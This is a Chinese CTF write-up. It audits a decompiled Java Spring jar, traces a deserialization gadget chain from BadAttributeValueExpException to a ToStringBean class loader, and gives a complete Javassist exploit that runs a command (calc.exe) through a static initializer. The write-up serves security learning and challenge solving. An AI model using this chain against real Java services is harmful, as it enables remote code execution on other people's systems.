环境
题目给的是一个jar包,运行也没啥东西。直接用IDEA反编译jar包。
项目目录如下图所示:
为了方便写exp,我照着这个结构构建了项目,如果只是写exp的话只需把Tools和ToStringBean贴到项目里即可。如果要debug,则用maven构建项目把pom.xml复制过来;完全按照反编译结构构建项目即可。
审计分析
先从Controller入手
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}
return "welcome bro.";
显然要从/readobject路由入手,传入的data用bas64解码后进行反序列化,如果输出流写入字符串为gadgets且写入Int为2021,则执行反序列化。
整体反序列化流程了解完,接下来寻找危险函数。
很明显:
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public ToStringBean() {
}
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object var3 = null;
try {
var3 = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "enjoy it.";
}
}
这是标准的类加载并且调用了newInstance();实例化,因此只要把恶意代码写在静态代码块即可触发。
而该恶意函数为toString,这是一个很常见的方法,因此直接从readObject入手,在CC5中的反序列化入口类BadAttributeValueExpException正是触发了toString方法。
**注意:BadAttributeValueExpException源于jdk自带的rj.jar包中。 **
Object valObj = gf.get("val", null);
//...略
else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
没有设置安全管理器,System.getSecurityManager() == null,而valObj源自于val,该值需要通过反射修改为ToStringBean toStringbean即可触发toString。
注意序列化后的字符串用Tools的base64编码。
由于base64编码后的字符串存在+号,因此需要url编码一层。
gadget:
BadAttributeValueExpException#readObject
ToStringBean#toString
defineClass
newInstance
Exp
import com.ezgame.ctf.tools.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import static com.ezgame.ctf.tools.Tools.base64Encode;
public class Payload {
public static void main(String[] args) throws NoSuchFieldException, CannotCompileException, NotFoundException, IOException, IllegalAccessException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Squirt1e");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
ToStringBean toStringBean=new ToStringBean();
Class toStringBeanClass = ToStringBean.class;
Field ClassByte = toStringBeanClass.getDeclaredField("ClassByte");
ClassByte.setAccessible(true);
ClassByte.set(toStringBean,classBytes);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
Field badAttributeValueExpExceptionClassField = badAttributeValueExpExceptionClass.getDeclaredField("val");
badAttributeValueExpExceptionClassField.setAccessible(true);
badAttributeValueExpExceptionClassField.set(badAttributeValueExpException,toStringBean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);
}
}